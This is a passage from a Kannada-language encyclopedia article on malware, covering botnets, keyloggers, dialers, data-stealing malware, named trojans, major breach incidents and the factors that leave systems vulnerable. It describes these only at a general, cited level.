ಮಾರ್ಗವೆಂದರೆ, ತಾವು ಸೋಂಕಿತಗೊಳಿಸಿದ ಗಣಕಗಳನ್ನೇ ತಮ್ಮ ಕೆಲಸಕ್ಕಾಗಿ ಬಳಸಿಕೊಳ್ಳುವುದು. ಸೋಂಕಿತ ಗಣಕಗಳನ್ನು ಸ್ಪಾಮ್‌ ಮೆಸೇಜ್‌ಗಳನ್ನು ಕಳುಹಿಸಲು ಬದಲಿ [[ಪ್ರತಿನಿಧಿ (ಪ್ರಾಕ್ಸಿ)ಗಳ]]ನ್ನಾಗಿ ಬಳಸುವುದು. ಈ ಸ್ಥಿತಿಯಲ್ಲಿರುವ ಗಣಕಗಳನ್ನು ಸಾಮಾನ್ಯವಾಗಿ [[ಜೋಂಬಿ ಗಣಕ]]ಗಳೆಂದು ಕರೆಯಲಾಗುತ್ತದೆ. ಸೋಂಕಿತ ಗಣಕಗಳನ್ನು ಬಳಸುವುದರಿಂದ ಈ ಸ್ಪಾಮ್‌ ಮಾಡುವವರಿಗೆ ಲಾಭವೇನೆಂದರೆ, ಆ ಗಣಕಗಳು ಅನಾಮಧೇಯತೆಯನ್ನು ಕೊಡುತ್ತವೆ, ಅವರನ್ನು [[ಶಿಕ್ಷೆ]]ಯಿಂದ ರಕ್ಷಿಸುತ್ತವೆ. ಸ್ಪಾಮ್‌ ಮಾಡುವವರು ಸೋಂಕಿತ ಗಣಕಗಳನ್ನು, [[ಹಂಚಿಕೆಯಾದ ಸೇವೆಯ ನಿರಾಕರಣೆಯ ಆಘಾತ]](ಡಿಸ್ಟ್ರಿಬ್ಯೂಟೆಡ್‌ ಡಿನೈಯಲ್‌ ಆಫ್‌ ಸರ್ವಿಸ್‌ ಅಟ್ಯಾಕ್‌)ಗಳನ್ನೊಳಗೊಂಡ ಸ್ಪಾಮ್‌ ವಿರೋಧಿ ಸಂಸ್ಥೆಗಳನ್ನು ಗುರಿಯಾಗಿಟ್ಟುಕೊಳ್ಳಲು ಬಳಸಲಾಗುತ್ತದೆ. ಹಲವು ಸೋಂಕಿತ ಗಣಕಗಳ ಚಟುವಟಿಕೆಯನ್ನು ಕ್ರೋಢೀಕರಿಸಲು, ಘಾತಕರು ’''[[ಬಾಟ್‌ನೆಟ್‌]]ಗಳು'' ’ಎನ್ನುವ ಕ್ರೋಢೀಕರಣ ವ್ಯವಸ್ಥೆಯನ್ನು ಬಳಸಿದ್ದಾರೆ. ಒಂದು ಬಾಟ್‌ನೆಟ್‌ನಲ್ಲಿ, ಮಾಲ್‌ವೇರ್‌ ಅಥವಾ [[ಮಾಲ್‌ಬಾಟ್‌]] [[ಇಂಟರ್‌ನೆಟ್‌ ರಿಲೇ ಚಾಟ್‌]] ವಾಹಿನಿಗೆ ಅಥವಾ ಬೇರೆ ಯಾವುದಾದರೂ ಚಾಟ್ ವ್ಯವಸ್ಥೆಗೆ ಲಾಗ್‌ ಇನ್‌ ಆಗುತ್ತದೆ. ಆಗ, ಘಾತಕನು ಎಲ್ಲಾ ಸೋಂಕಿತ ಗಣಕಗಳಿಗೂ ಒಂದೇ ಬಾರಿಗೆ ಸೂಚನೆಗಳನ್ನು ಕೊಡಬಹುದು. ಹೊಸ ಮಾಲ್‌ವೇರ್‍ಗಳನ್ನು ಗಣಕಕ್ಕೆ ಕಳುಹಿಸಲು ಕೂಡ ಬಾಟ್‌ನೆಟ್‌ಗಳನ್ನು ಬಳಸಬಹುದು, ಹೀಗೆ ಮಾಡುವುದರಿಂದ ಅವು ವೈರಸ್‌ ವಿರೋಧಿ ತಂತ್ರಾಂಶಗಳು ಮತ್ತು ಇತರೆ ಸುರಕ್ಷತಾ ಕ್ರಮಗಳನ್ನು ಪ್ರತಿಬಂಧಿಸುವುದು. ಮಾಲ್‌ವೇರ್‌ ನಿರ್ಮಾತೃವು ತನ್ನ ಮಾಲ್‌ವೇರ್‌ಗೆ ಬಲಿಯಾದ ವ್ಯಕ್ತಿಗಳಿಂದ ಸೂಕ್ಷ್ಮವಾದ ವಿಷಯಗಳನ್ನು ಕದಿಯುವ ಮೂಲಕ ಲಾಭ ಮಾಡಬಹುದು. ಕೆಲವು ಮಾಲ್‌ವೇರ್‌ ಪ್ರೋಗ್ರಾಮ್‌ಗಳು ''[[ಕೀ ಲಾಗರ್‌]]'' ಗಳನ್ನು ಅಳವಡಿಸಿರುತ್ತವೆ, ಇವು ಬಳಕೆದಾರನು [[ಪಾಸ್‍ವರ್ಡ್]], [[ಕ್ರೆಡಿಟ್‌ ಕಾರ್ಡ್]] ಸಂಖ್ಯೆ, ಅಥವಾ ಬೇರಾವುದೇ ಮಾಹಿತಿಯನ್ನು ಟೈಪ್‌ ಮಾಡುವಾಗ ಮಧ್ಯ ನುಸುಳುತ್ತವೆ, ಮತ್ತು ಅವು ಅಂತಹ ಮಾಹಿತಿಯನ್ನು ದುರುಪಯೋಗಪಡಿಸಿಕೊಳ್ಳಬಹುದು. ನಂತರ, ಸ್ವಯಂಚಾಲಿತವಾಗಿ ಈ ಮಾಹಿತಿಯನ್ನು ಮಾಲ್‌ವೇರ್‌ ನಿರ್ಮಾತೃವಿಗೆ ರವಾನಿಸಲಾಗುತ್ತದೆ, ಇದರಿಂದ [[ಕ್ರೆಡಿಟ್‌ ಕಾರ್ಡ್‌ ದರೋಡೆ]] ಮತ್ತು ಇತರೆ ಕಳ್ಳತನಗಳು ಸಾಧ್ಯವಾಗುತ್ತದೆ. ಹಾಗೆಯೇ, ಮಾಲ್‌ವೇರ್‌ಗಳು [[ಸಿಡಿ ಕೀ]]ಯನ್ನು ಅಥವಾ ಆನ್‌ಲೈನ್‌ ಆಟಗಳ ಪಾಸ್‌ವರ್ಡ್‌ ಅನ್ನು ಕಾಪಿ ಮಾಡಿಬಿಡಬಹುದು, ಇದರಿಂದ ನಿರ್ಮಾತೃವು ಅಕೌಂಟ್‌ಗಳನ್ನು ಅಥವಾ ವರ್ಚುವಲ್‌‌ ವಸ್ತುಗಳನ್ನು ಕದ್ದುಬಿಡಬಹುದು. ಸೋಂಕಿತ ಗಣಕನ ಯಜಮಾನನಿಂದ ಹಣ ಕದಿಯುವ ಮತ್ತೊಂದು ಮಾರ್ಗವೆಂದರೆ [[ಡಯಲ್‌-ಅಪ್‌]]. ''ಡಯಲರ್‌'' (ಅಥವಾ ''ಸೋಂಕಿತ ಡಯಲರ್‌'' ) ತಂತ್ರಾಂಶವು ಒಂದು [[ಪ್ರೀಮಿಯಂ‌-ರೇಟ್‌ ದೂರವಾಣಿ ಸಂಖ್ಯೆ]]ಯನ್ನು, ಉದಾಹರಣೆಗೆ ಯುಎಸ್‌ "೯೦೦ ಸಂಖ್ಯೆ"ಯನ್ನು ಡಯಲ್‌ಮಾಡಿ ಕರೆಯನ್ನು ಹಾಗೆಯೇ ಬಿಟ್ಟುಬಿಡುತ್ತದೆ, ಕರೆಯ ದರವು ಸೋಂಕಿತ ಬಳಕೆದಾರನಿಗೆ ಹೋಗುತ್ತದೆ. == ಮಾಹಿತಿ-ಕದಿಯುವ ಮಾಲ್‌ವೇರ್ == ದತ್ತಾಂಶ-ಕದಿಯುವ ಮಾಲ್‌ವೇರ್ ಒಂದು [[ಜಾಲ ಭೀತಿ]]ಯಾಗಿದ್ದು, ಇದು ಬಲಿಪಶುವಿನ ಖಾಸಗಿ ಮತ್ತು ಸ್ವಾಮ್ಯದ ಮಾಹಿತಿಗಳನ್ನು ಕಸಿದುಕೊಂಡು ಕದ್ದ ಮಾಹಿತಿಗಳನ್ನು ನೇರವಾಗಿ ಉಪಯೋಗಿಸಿ ಅಥವಾ ಭೂಗತವಾಗಿ ಹಂಚಿ ಹಣ ಮಾಡುವ ಉದ್ದೇಶವನ್ನು ಹೊಂದಿದೆ. ಇದರ ಅಡಿಯಲ್ಲಿ ಬರುವ ಕಾಂಟೆಂಟ್ ಭದ್ರತೆಯ ಅಪಾಯಗಳೆಂದರೆ [[ಕೀಲಾಗರ್ಸ್]], ಸ್ಕ್ರೀನ್ ಸ್ಕ್ರಾಪರ್ಸ್, [[ಸ್ಪೈವೇರ್]], [[ಆ‍ಯ್‌ಡ್‌ವೇರ್]], ಬ್ಯಾಕ್‌ಡೋರ್ಸ್ ಮತ್ತು ಬೊಟ್ಸ್. ಈ ಹೆಸರು ಉಳಿದ ಚಟುವಟಿಕೆಗಳಾದ ಸ್ಪಾಮ್, [[ಫಿಶಿಂಗ್]], [[ಡಿಎನ್‌‍ಎಸ್]] ಪಾಯಿಸನಿಂಗ್, [[SEO]] ಅಬ್ಯೂಸ್, ಇತ್ಯಾದಿಗಳಿಗೆ ಅನ್ವಯಿಸುವುದಿಲ್ಲ. ಹಾಗಿದ್ದೂ ಈ ಅಪಾಯಗಳು, ಸಾಮಾನ್ಯವಾದ ಹೈಬ್ರಿಡ್‌ ಘಾತಕಗಳು ಮಾಡುವಂತೆ, ಕಡತವನ್ನು ಡೌನ್‌ಲೋಡ್ ಮಾಡಿಕೊಳ್ಳುವುದರಲ್ಲಿಯೋ ಅಥವಾ ನೇರವಾಗಿ ಇನ್‌ಸ್ಟಾಲ್‌ ಮಾಡಿಕೊಳ್ಳುವುದರಲ್ಲಿಯೋ ಪರಿಣಮಿಸುತ್ತದೆ, ಯಾವ ಕಡತಗಳು ಈ [[ನಕಲಿ]] (ಪ್ರಾಕ್ಸಿ) ಮಾಹಿತಿಯ ದಳ್ಳಾಳಿಯಾಗಿ ವರ್ತಿಸುತ್ತವೆಯೋ, ಅವು ಮಾಹಿತಿ ಕದಿಯುವ ಮಾಲ್‌ವೇರ್‌ಗಳ ಗುಂಪಿಗೆ ಸೇರುತ್ತವೆ. == ಮಾಹಿತಿ-ಕದಿಯುವ ಮಾಲ್‌ವೇರ್‌ನ ಲಕ್ಷಣಗಳು == ಘಟನೆಯ ಕುರುಹನ್ನು ಉಳಿಸುವುದಿಲ್ಲ * ಮಾಲ್‌ವೇರ್‌ಗಳು ಸಾಮಾನ್ಯವಾಗಿ ನಿಯತವಾಗಿ ಖಾಲಿಮಾಡುವ ಸಂಗ್ರಹದಲ್ಲಿ ಶೇಖರವಾಗಿರಬಹುದು * ಮಾಲ್‌ವೇರ್‌‌ಗಳು ಡ್ರೈವ್-ಬೈ-ಡೌನ್‌ಲೋಡ್ ಮೂಲಕ ಸ್ಥಾಪಿತವಾಗಿರಬಹುದು. * ಮಾಲ್‌ವೇರ್‌ನ್ನು ಹೋಸ್ಟ್ ಮಾಡುವ ಜಾಲತಾಣ ಮತ್ತು ಮಾಲ್‌ವೇರ್ ಎರಡೂ ತಾತ್ಕಲಿಕವಾದದ್ದು ಅಥವಾ ದುಷ್ಟವಾದದ್ದು ಆಗಾಗ ಬದಲಾಗುತ್ತದೆ ಮತ್ತು ಅದರ ಕೆಲಸಗಳನ್ನು ವಿಸ್ತರಿಸುತ್ತದೆ * ವೈರಸ್-ವಿರೋಧಿ ತಂತ್ರಾಂಶಗಳಿಗೆ ಮಾಲ್‌ವೇರ್‌ನ ವಿವಿಧ ಘಟಕಗಳ ಸಂಯೋಜನೆಗಳಿಂದಾಗಿ, ಅಂತಿಮ ಪೇಲೋಡ್ ಗುಣಲಕ್ಷಣಗಳನ್ನು ಕಂಡುಹಿಡಿಯಲು ಕಷ್ಟವಾಗುತ್ತದೆ * ಮಾಲ್‌ವೇರ್ ಬಹುಕಡತ ಗೂಢಲಿಪೀಕರಣ(ಎನ್‌ಕ್ರಿಪ್‌ಷನ್‌)ಮಟ್ಟಗಳನ್ನು ಬಳಸುತ್ತದೆ ಯಶಸ್ವಿ ಇನ್‌ಸ್ಟಾಲೇಷನ್‌ ಬಳಿಕ ಮಾಹಿತಿಯ ಅನಧಿಕೃತ ಉಪಯೋಗವನ್ನು ಕಂಡುಹಿಡಿಯುವ ವ್ಯವಸ್ಥೆಯನ್ನು (ಇಂಟ್ರೂಶನ್ ಡಿಟೆಕ್ಷನ್ ಸಿಸ್ಟಮ್)(IDS) ನಿಷ್ಫಲಗೊಳಿಸುತ್ತದೆ * ಗಣನೆಗೆ ಬರುವ ಯಾವುದೇ ಸಂಪರ್ಕ ಅಸಮಂಜಸತೆಗಳಿಲ್ಲ * ಮಾಲ್‌ವೇರ್ ಅಂತರಜಾಲ ಮಾಹಿತಿಗಳ ಸಂಚಾರದಲ್ಲಿ ಅಡಗಿಕೊಳ್ಳುತ್ತದೆ * ಮಾಹಿತಿಗಳ ಸಂಚಾರ ಮತ್ತು ಸಂಪನ್ಮೂಲಗಳ ಉಪಯೋಗದಲ್ಲಿ ಮಾಲ್‌ವೇರ್ ಅಪಹರಣಕಾರಿಯಾಗಿದೆ. ಡಿಸ್ಕ್ ಗೂಢಲಿಪೀಕರಣವನ್ನು ನಿಷ್ಫಲಗೊಳಿಸುತ್ತದೆ * ಡಿಕ್ರಿಪ್‌ಷನ್ (ಗೂಢಲಿಪೀಕರಣವನ್ನು ಮೂಲರೂಪಕ್ಕೆ ತರುವಿಕೆ) ಮತ್ತು ಪ್ರಸಾರದ ಸಂದರ್ಭದಲ್ಲಿ ಮಾಹಿತಿಯನ್ನು ಕದಿಯಲಾಗುತ್ತದೆ. * ಕೀಸ್ಟ್ರೋಕ್‌ಗಳನ್ನು, ಪಾಸ್‌ವರ್ಡ್‌ಗಳನ್ನು, ಮತ್ತು ಸ್ಕ್ರೀನ್‌ಶಾಟ್‌ (ಗಣಕ ಯಂತ್ರದ ಪರದೆಯಲ್ಲಿನ ಚಿತ್ರಣ)ಗಳನ್ನು ಮಾಲ್‌ವೇರ್ ದಾಖಲಿಸಿಕೊಳ್ಳಬಲ್ಲುದು [[ಮಾಹಿತಿ ನಷ್ಟ ಪ್ರತಿಬಂಧ]] (ಡಾಟಾ ಲಾಸ್ ಪ್ರಿವೆನ್ಶನ್) (DLP)ವನ್ನು ನಿಷ್ಫಲಗೊಳಿಸುತ್ತದೆ. * ಸೋರಿಕೆ ಪ್ರತಿಬಂಧವು ಸಣ್ಣ ಮಾಹಿತಿಗಳನ್ನು ಸೇರಿಸುವುದರ ಮೇಲೆ ಅವಲಂಭಿಸಿರುತ್ತದೆ, ಎಲ್ಲವೂ ಸೇರಿಸಲ್ಪಡುವುದಿಲ್ಲ * ದುಷ್ಟರು ಮಾಹಿತಿಯನ್ನು ಸಂಗ್ರಹಿಸಿಡಲು ಗೂಢಲಿಪೀಕರಣವನ್ನು ಬಳಸುತ್ತಾರೆ == ಮಾಹಿತಿ ಕದಿಯುವ ಮಾಲ್‌ವೇರ್‌ಗೆ ಉದಾಹರಣೆಗಳು == * [[ಬ್ಯಾಂಕೊಸ್]] ಎನ್ನುವ ಮಾಹಿತಿ ಕಳ್ಳ, ಬಳಕೆದಾರರು ಬ್ಯಾಂಕಿಂಗ್ ಜಾಲತಾಣಗಳನ್ನು ಉಪಯೋಗಿಸುವುದನ್ನೇ ಕಾದು ಕೂತು ಮಾಹಿತಿಯನ್ನು ಕದಿಯುತ್ತದೆ ಮತ್ತು ಬ್ಯಾಂಕ್ ಜಾಲತಾಣಗಳ ಪುಟಗಳಿಗೆ ಮೋಸ ಮಾಡಿ ಸೂಕ್ಷ್ಮ ಮಾಹಿತಿಗಳನ್ನು ಕದಿಯುತ್ತದೆ * [[ಗ್ಯಾಟರ್]] ಎನ್ನುವ ಸ್ಪೈವೇರ್, ಜಾಲತಾಣಗಳಲ್ಲಿ ವಿಹರಿಸುವವರ ಚರ್ಯೆಯನ್ನು ಗುಪ್ತವಾಗಿ ನಿಯಂತ್ರಿಸುತ್ತದೆ ಮತ್ತು ಮಾಹಿತಿಯನ್ನು ವಿಶ್ಲೇಷಣೆಗಾಗಿ ಒಂದು ಸರ್ವರ್‌ಗೆ ರವಾನಿಸಿ ತಾನು ಗುರುತಿಸಲ್ಪಟ್ಟ ಪಾಪ್-ಅಪ್ ಆ‍ಯ್‌ಡ್‌ಗಳಿಗೆ ಸರ್ವ್‌ ಮಾಡುತ್ತದೆ. * [[ಲೆಗ್‌ಮಿರ್]] ಎನ್ನುವ ಸ್ಪೈವೇರ್, ಆನ್‌ಲೈನ್ ಆಟಗಳಿಗೆ ಸಂಬಂಧಿಸಿದ ಖಾತೆಯ ಹೆಸರು ಮತ್ತು ಪಾಸ್‌ವರ್ಡ್‌ನಂಥ ವೈಯಕ್ತಿಕ ಮಾಹಿತಿಯನ್ನು ಕದಿಯುತ್ತದೆ. * [[ಕೋಸ್ಟ್]] ಎನ್ನುವ ಟ್ರೋಜನ್, ಬ್ಯಾಂಕಿಂಗ್ ತಾಣಗಳು ಉಪಯೋಗಿಸಲ್ಪಟ್ಟಾಗ [[ಅಥಿತೇಯ ಕಡತ]]ಗಳು ಬೇರೆಯದೇ ಡಿಎನ್‌ಎಸ್‌ ಸರ್ವರ್‌ಅನ್ನು ಸೂಚಿಸುವಂತೆ ಮಾಡುತ್ತದೆ. ಬಳಿಕ ಆ ಹಣಕಾಸಿನ ಸಂಸ್ಥೆಗಳ ಲಾಗಿನ್ ವಿವರಗಳನ್ನು ಕದಿಯಲು ಅಂಥದ್ದೇ ಮೋಸದ ಲಾಗಿನ್ ಪುಟವನ್ನು ತೆರೆಯುತ್ತದೆ. == ಮಾಹಿತಿ ಕದಿಯುವ ಮಾಲ್‌ವೇರ್‌ಗಳ ಘಟನೆಗಳು == * [[ಆಲ್ಬರ್ಟ್ ಗೊನ್ಸಾಲೆಜ್]], ೨೦೦೬ ಮತ್ತು ೨೦೦೭ರಲ್ಲಿ ೧೭೦ ಮಿಲಿಯಕ್ಕೂ ಹೆಚ್ಚು ಕ್ರೆಡಿಟ್ ಕಾರ್ಡ್ ಸಂಖ್ಯೆಗಳನ್ನು ಕದ್ದು ಮಾರಲು ಮಾಲ್‌ವೇರ್ ಬಳಸಲು ಸಂಚುಮಾಡಿದನೆಂಬ ಆರೋಪದ ಮೇಲೆ ಬಂಧಿಸಲ್ಪಟ್ಟ. ಇದು ಇತಿಹಾಸದಲ್ಲೇ ದೊಡ್ಡ ಗಣಕ ಸಂಬಂಧಿತ ಅಪರಾಧ. ಇವನ ಮೋಸಕ್ಕೊಳಗಾದ ವ್ಯವಹಾರ ಸಂಸ್ಥೆಗಳೆಂದರೆ ( [[ಬಿಜೆ’ಸ್ ವೋಲ್‌ಸೇಲ್ ಕ್ಲಬ್]], [[ಟಿಜೆಎಕ್ಸ್]], [[ಡಿಎಸ್‌ಡಬ್ಲ್ಯೂ ಶೂ]], [[ಆಫೀಸ್‌ಮ್ಯಾಕ್ಸ್]]‌, [[ಬಾರ್ನ್ಸ್‌ ಮತ್ತು ನೋಬೆಲ್]]‌, [[ಬೋಸ್ಟನ್‌ ಮಾರ್ಕೆಟ್]], [[ಸ್ಪೋರ್ಟ್ಸ್ ಅಥಾರಿಟಿ]] ಮತ್ತು [[ಫಾರ್‌ಎವರ್‌ 21]]).<ref>https://web.archive.org/web/20091202105753/http://www.usdoj.gov/usao/ma/Press%20Office%20-%20Press%20Release%20Files/IDTheft/Gonzalez,%20Albert%20-%20Indictment%20080508.pdf</ref> * ಒಂದು ಟ್ರೋಜನ್ ಹಾರ್ಸ್ ಪ್ರೋಗ್ರಾಮು ಮಾನ್‌ಸ್ಟರ್‌ ವರ್ಲ್ಡ್‌ವೈಡ್‌ ಇನ್‌ಕಾರ್ಪೊರೇಷನ್ (Monster Worldwide Inc)ನ ಕೆಲಸ ಹುಡುಕುವ ಸೇವೆಯಲ್ಲಿನ ನೂರಾರು ಸಾವಿರಾರು ಜನರ ೧.೬ ಮಿಲಿಯನ್‌ಗೂ ಮಿಕ್ಕಿದ ದಾಖಲೆಗಳನ್ನು ಕದಿಯಿತು. ಸೈಬರ್ ಅಪರಾಧಿಗಳು ಈ ಮಾಹಿತಿಯನ್ನು ಮಾನ್‌ಸ್ಟರ್.ಕಾಮ್‌ (monster.com)ನ ಬಳಕೆದಾರರ ಗಣಕಗಳಲ್ಲಿ ಇಮೇಲ್‌ ಮೂಲಕ ಮಾಲ್‌ವೇರ್‌ಗಳನ್ನು ಸೇರಿಸಲು ಉಪಯೋಗಿಸುತ್ತಿದ್ದರು.<ref>ಕೈಜರ್, ಗ್ರೆಗ್ (2007) Monster.com ಡೇಟಾ ಥೇಫ್ಟ್ ಮೇ ಬಿ ಬಿಗ್ಗರ್ ಫ್ರಮ್ http://www.pcworld.com/article/136154/monstercom_data_theft_may_be_bigger.html {{Webarchive|url=https://web.archive.org/web/20100402174012/http://www.pcworld.com/article/136154/monstercom_data_theft_may_be_bigger.html |date=2010-04-02 }}</ref> * ಮೈನೆಯಲ್ಲಿದ್ದ ದೊಡ್ಡ ಅಂಗಡಿ ಮಳಿಗೆಯಾದ ಹನ್ನಾಫೋರ್ಡ್ ಬ್ರೋಸ್ ಕೊ. ಕಂಪೆನಿಯ ಗ್ರಾಹಕರು, ೪.೨ ಮಿಲಿಯನ್ ಕ್ರೆಡಿಟ್ ಮತ್ತು ಡೆಬಿಟ್ ಕಾರ್ಡ್‌ಗಳನ್ನೊಳಗೊಂಡ ಮಾಹಿತಿ ಭದ್ರತೆಯ ಉಲ್ಲಂಘನೆಗೆ ಬಲಿಪಶುಗಳಾಗಿದ್ದರು. ಕಂಪೆನಿಯು ಹಲವಾರು ವರ್ಗ-ಕ್ರಮದ ಕಾನೂನು ಮೊಕದ್ದಮೆಗಳಿಂದ ಹೊಡೆತ ತಿಂದಿತು.<ref>ವಿಜಯಾನ್, ಜಯಕುಮಾರ್(2008) ಹನ್ನಾಫೋರ್ಡ್ ಹಿಟ್ ಬೈ ಕ್ಲಾಸ್-ಆ‍ಯ್‌ಕ್ಷನ್ ಲಾಸೂಟ್ಸ್ ಇನ್ ವೇಕ್ ಆಫ್ ಡೇಟಾ ಬ್ರೀಚ್ ಡಿಸ್‌ಕ್ಲೋಸರ್ ಫ್ರಮ್ http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;articleId=9070281 {{Webarchive|url=https://web.archive.org/web/20080605160802/http://www.computerworld.com/action/article.do?command=viewArticleBasic&articleId=9070281 |date=2008-06-05 }}</ref> * [[ಟಾರ್ಪಿಗ್]] ಟ್ರೋಜನ್ ಸುಮಾರು ೨೫೦,೦೦೦ ಆನ್‌ಲೈನ್ ಬ್ಯಾಂಕ್ ಖಾತೆಗಳ ಲಾಗಿನ್ ವಿವರಗಳನ್ನು, ಹಾಗೆಯೇ ಅಷ್ಟೇ ಸಂಖ್ಯೆಯ ಕ್ರೆಡಿಟ್ ಮತ್ತು ಡೆಬಿಟ್ ಕಾರ್ಡ್‌ಗಳ ವಿವರಗಳನ್ನು ಕದ್ದಿತ್ತು. ಇ-ಮೇಲ್, ಮತ್ತು ಎಫ್‌ಟಿ‌ಪಿ (FTP) ಖಾತೆಗಳಂಥ ಇತರ ಮಾಹಿತಿಗಳೂ ಕೂಡ ಅಸಂಖ್ಯಾತ ಜಾಲತಾಣಗಳಿಂದ ಕದಿಯಲ್ಪಟ್ಟಿತ್ತು.<ref>ಬಿಬಿಸಿ ನ್ಯೂಸ್: ಟ್ರೋಜನ್ ವೈರಸ್ ಸ್ಟೀಲ್ಸ್ ಬ್ಯಾಂಕಿಂಗ್ ಇನ್‌ಫೊ http://news.bbc.co.uk/2/hi/technology/7701227.stm</ref> == ಮಾಲ್‌ವೇರ್ ಆಕ್ರಮಣಕ್ಕೆ ಈಡಾಗುವ ಸಂಭವ == {{Main|Vulnerability (computing)}} ಉದ್ದಕ್ಕೂ ಗಮನಿಸಿದಂತೆ, ಈ ಭಾಗದಲ್ಲಿ ದಾಳಿಗೊಳಗಾದ "ಸಿಸ್ಟಮ್" ವಿವಿಧ ರೀತಿಯದ್ದಾಗಿರಬಹುದು, ಉದಾ. ಒಂದು ಗಣಕ ಮತ್ತು ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್, ಒಂದು ಸಂಪರ್ಕಜಾಲ ಅಥವಾ ಒಂದು ಅಪ್ಲಿಕೇಶನ್ ಎಂಬುದನ್ನು ಮನಸ್ಸಿನಲ್ಲಿಟ್ಟಿರಬೇಕು. ಹಲವಾರು ಅಂಶಗಳು ಸಿಸ್ಟಮ್ ಅನ್ನು ಮಾಲ್‌ವೇರ್‌ನ ದಾಳಿಗೊಳಗಾಗುವಂತೆ ಮಾಡುತ್ತವೆ: * ಹೋಮೊಜಿನಿಟಿ - ಉದಾಹರಣೆಗೆ ಒಂದು ನೆಟ್‌ವರ್ಕ್‌ನಲ್ಲಿರುವ ಎಲ್ಲಾ ಗಣಕಗಳು ಒಂದೇ ಆಪರೇಟಿಂಗ್‌ ಸಿಸ್ಟಮ್‌ಅನ್ನು ಬಳಸುತ್ತಿರುವಾಗ, ನೀವು ಆ ಆಪರೇಟಿಂಗ್‌ ಸಿಸ್ಟಮ್‌ಅನ್ನು ಚಾಲನೆ ಮಾಡಿರುವ ಗಣಕದೊಳಗೆ ಪ್ರವೇಶಿಸಬಹುದು. * ನ್ಯೂನತೆಗಳು - ಆಪರೇಟಿಂಗ್‌ ಸಿಸ್ಟಮ್‌ನಲ್ಲಿರುವ, ಮಾಲ್‌ವೇರ್‌ಗೆ ಅನುಕೂಲ ಮಾಡಿಕೊಡುವ ನ್ಯೂನತೆಗಳು. * ಅನಿರ್ದಿಷ್ಟ ಸಂಕೇತ ಲಿಪಿ - [[ಫ್ಲಾಪಿ ಡಿಸ್ಕ್]], [[ಸಿಡಿ-ರಾಮ್]] ಅಥವಾ [[ಯುಎಸ್‌ಬಿ]] ಸಾಧನಗಳ ಸಂಕೇತ ಲಿಪಿಗಳು ಬಳಕೆದಾರರ ಒಪ್ಪಿಗೆಯಿಲ್ಲದೆ ಕಾರ್ಯಗತಗೊಳ್ಳಬಹುದು. * ಅಧಿಕ-ಸವಲತ್ತು ಹೊಂದಿದ ಬಳಕೆದಾರರು-ಕೆಲವು ಗಣಕಗಳು ಎಲ್ಲಾ ಬಳಕೆದಾರರಿಗೂ ಆಂತರಿಕ ವಿನ್ಯಾಸವನ್ನು ಬದಲಾಯಿಸಲು ಅವಕಾಶ ಮಾಡಿಕೊಡುತ್ತವೆ. * ಅಧಿಕ-ಸವಲತ್ತು ಹೊಂದಿದ ಸಂಕೇತ ಲಿಪಿ-ಕೆಲವು ಗಣಕಗಳು ಒಬ್ಬ ಬಳಕೆದಾರನಿಂದ ಕಾರ್ಯಗತಗೊಂಡ ಸಂಕೇತ ಲಿಪಿಗಳಿಗೆ ಆ ಬಳಕೆದಾರನ ಎಲ್ಲಾ ಹಕ್ಕುಗಳನ್ನೂ ಉಪಯೋಗಿಸಿಕೊಳ್ಳಲು ಬಿಡುತ್ತವೆ. ಸಂಪರ್ಕಜಾಲಗಳ ದಾಳಿಗೀಡಾಗುವಿಕೆಗೆ ಹೆಚ್ಚಾಗಿ ಉದಾಹರಿಸಲ್ಪಡುವ ಕಾರಣವೆಂದರೆ ಹೋಮೊಜಿನಿಟಿ ಅಥವಾ ಏಕರೂಪದ ತಂತ್ರಾಂಶ.<ref name="UKan">"ಎಲ್‌ಎನ್‌ಸಿಎಸ್ ೩೭೮೬ - ಕೀ ಫ್ಯಾಕ್ಟರ್ಸ್ ಇನ್‌ಫ್ಲ್ಯೂಯೆನ್ಸ್ ವಾರ್ಮ್ ಇನ್‌ಫೆಕ್ಷನ್", ಯು. ಕನ್ಲಾಯಸಿರಿ, 2006, ವೆಬ್ (ಪಿಡಿಎಫ್): [http://www.springerlink.com/index/3x8582h43ww06440.pdf ‍ಎಸ್‌ಎಲ್40-ಪಿಡಿಎಫ್]{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}.</ref> ಉದಾಹರಣೆಗೆ, [[ಮೈಕ್ರೋಸಾಫ್ಟ್ ವಿಂಡೋಸ್]] ಅಥವಾ [[ಆ‍ಯ್‌ಪಲ್ ಮ್ಯಾಕ್]], ಸ್ವಾಮ್ಯದಲ್ಲಿರುವ ಮಾರುಕಟ್ಟೆಯ ಬಹುದೊಡ್ಡ ಪಾಲನ್ನು ಹೊಂದಿವೆ. ಅಕ್ರಮವಾಗಿ ನುಸುಳುವವರಿಗೆ ಬಹುಸಂಖ್ಯೆಯ ಗಣಕಗಳನ್ನು ನಾಶಮಾಡುವ ಸಾಧ್ಯತೆ ಇರುತ್ತದೆ. ಆದರೆ ಯಾವುದೇ ಏಕರೂಪದ ತಂತ್ರಾಂಶವೂ ಸಮಸ್ಯೆಯೇ. ಬದಲಾಗಿ, ಪ್ರಬಲ ಆಪರೇಟಿಂಗ್ ಸಿಸ್ಟಮ್‌ಗಾಗಿ ಇನ್‌ಹೋಮೊಜೆನಿಟಿ (ವಿವಿಧತೆ)ಯನ್ನು ಪರಿಚಯಿಸುವುದು, ಕೇವಲ ಪುಷ್ಟಿಗೋಸ್ಕರ, ತರಬೇತಿ ಮತ್ತು ಮೇಲ್ವಿಚಾರಣೆಯ ಅಲ್ಪಾವಧಿ ವೆಚ್ಚವನ್ನು ಹೆಚ್ಚಿಸಬಹುದು. ಆದಾಗ್ಯೂ, ಕೆಲವು ವಿವಿಧತೆಯ ಜಾಲಘಟಕಗಳನ್ನು ಹೊಂದಿರುವುದು ಸಂಪರ್ಕಜಾಲ ಪೂರ್ಣ ಪ್ರಮಾಣದಲ್ಲಿ ಸ್ಥಗಿತಗೊಳ್ಳುವುದನ್ನು ನಿವಾರಿಸಬಲ್ಲುದು ಹಾಗೂ ಆ ಜಾಲಘಟಕಗಳು ಇತರ, ತೊಂದರೆಗೊಳಗಾದ ಜಾಲಘಟಕಗಳಿಗೆ ಚೇತರಿಸಿಕೊಳ್ಳಲು ಸಹಕರಿಸಲು ಬಿಡಬಲ್ಲುದು. ಈ ರೀತಿಯ ಪ್ರತ್ಯೇಕ, ಕಾರ್ಯಾತ್ಮಕ ಪುನರಾವರ್ತನೆಯು 